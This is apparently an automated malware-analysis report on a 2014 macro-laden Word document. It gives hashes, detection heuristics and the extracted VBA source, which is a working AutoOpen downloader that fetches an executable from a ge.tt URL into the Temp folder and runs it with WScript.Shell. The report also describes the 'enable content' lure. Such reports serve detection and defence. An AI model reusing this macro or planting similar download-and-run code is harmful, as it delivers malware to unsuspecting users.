Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bdf171c64908d885…

MALICIOUS

Office (OLE)

59.5 KB Created: 2014-12-06 01:29:00 Authoring application: Microsoft Office Word First seen: 2015-01-04
MD5: e9e4eca2571b70a4056535f990451cc2 SHA-1: f1d9b5d4ed11dc8ad4357d0263128d92fdd19cb0 SHA-256: bdf171c64908d885be311446577582133024b159936b3a6fb233b4b6eb955ac0
438 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros that utilize the URLDownloadToFile API to download a file from 'http://ge.tt/api/1/files/9sRuch62/0/blob?download' and save it as '%TEMP%\test.exe'. Subsequently, it executes the downloaded file using WScript.Shell. The document body explicitly prompts the user to 'click Options/Enable Content' to view hidden text, indicating a social engineering lure to enable macros. This behavior is consistent with a macro-based downloader.

Heuristics 13

  • ClamAV: Doc.Downloader.Macr-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macr-2
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        CreateObject("WScript.Shell").Run WHERE
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        CreateObject("WScript.Shell").Run WHERE
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        WHERE = Environ("Temp") & "\" & "test.exe"
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
    • http://ge.tt/api/1/files/9sRuch62/0/blob?downloadReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2417 bytes
SHA-256: 2074b56b4e811abbe53eb4d904c3a329b53849c3a8e7a5966448b6f63532ab91
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
    (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#Else
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" _
        (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
#End If
    
Sub AutoOpen()
    URL = "http://ge.tt/api/1/files/9sRuch62/0/blob?download"
    WHERE = Environ("Temp") & "\" & "test.exe"
    DownloadStatus = URLDownloadToFile(0, URL, WHERE, 0, 0)
    CreateObject("WScript.Shell").Run WHERE
End Sub


' Processing file: /opt/analyzer/scan_staging/91e9c876560740daba61ebbcd3d3e9ef.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2344 bytes
' Line #0:
' 	LbMark 
' 	Ld Office 
' 	LbIf 
' Line #1:
' 	LineCont 0x0004 09 00 04 00
' 	FuncDefn (Private Declare PtrSafe Function dwReserved Lib "Environ" (ByVal lpfnCB As Long, ByVal urlmon As String, ByVal AutoOpen As String, ByVal URL As Long, ByVal WHERE As Long) As Long)
' Line #2:
' 	LbMark 
' 	LbElse 
' Line #3:
' 	LineCont 0x0004 08 00 08 00
' 	FuncDefn (Private Declare Function dwReserved Lib "Environ" (ByVal lpfnCB As Long, ByVal urlmon As String, ByVal AutoOpen As String, ByVal URL As Long, ByVal WHERE As Long) As Long)
' Line #4:
' 	LbMark 
' 	LbEndIf 
' Line #5:
' Line #6:
' 	FuncDefn (Sub DownloadStatus())
' Line #7:
' 	LitStr 0x0031 "http://ge.tt/api/1/files/9sRuch62/0/blob?download"
' 	St CreateObject 
' Line #8:
' 	LitStr 0x0004 "Temp"
' 	ArgsLd Document 0x0001 
' 	LitStr 0x0001 "\"
' 	Concat 
' 	LitStr 0x0008 "test.exe"
' 	Concat 
' 	St Run 
' Line #9:
' 	LitDI2 0x0000 
' 	Ld CreateObject 
' 	Ld Run 
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	ArgsLd dwReserved 0x0005 
' 	St id_023A 
' Line #10:
' 	Ld Run 
' 	LitStr 0x000D "WScript.Shell"
' 	ArgsLd id_023C 0x0001 
' 	ArgsMemCall id_023E 0x0001 
' Line #11:
' 	EndSub 
' Line #12: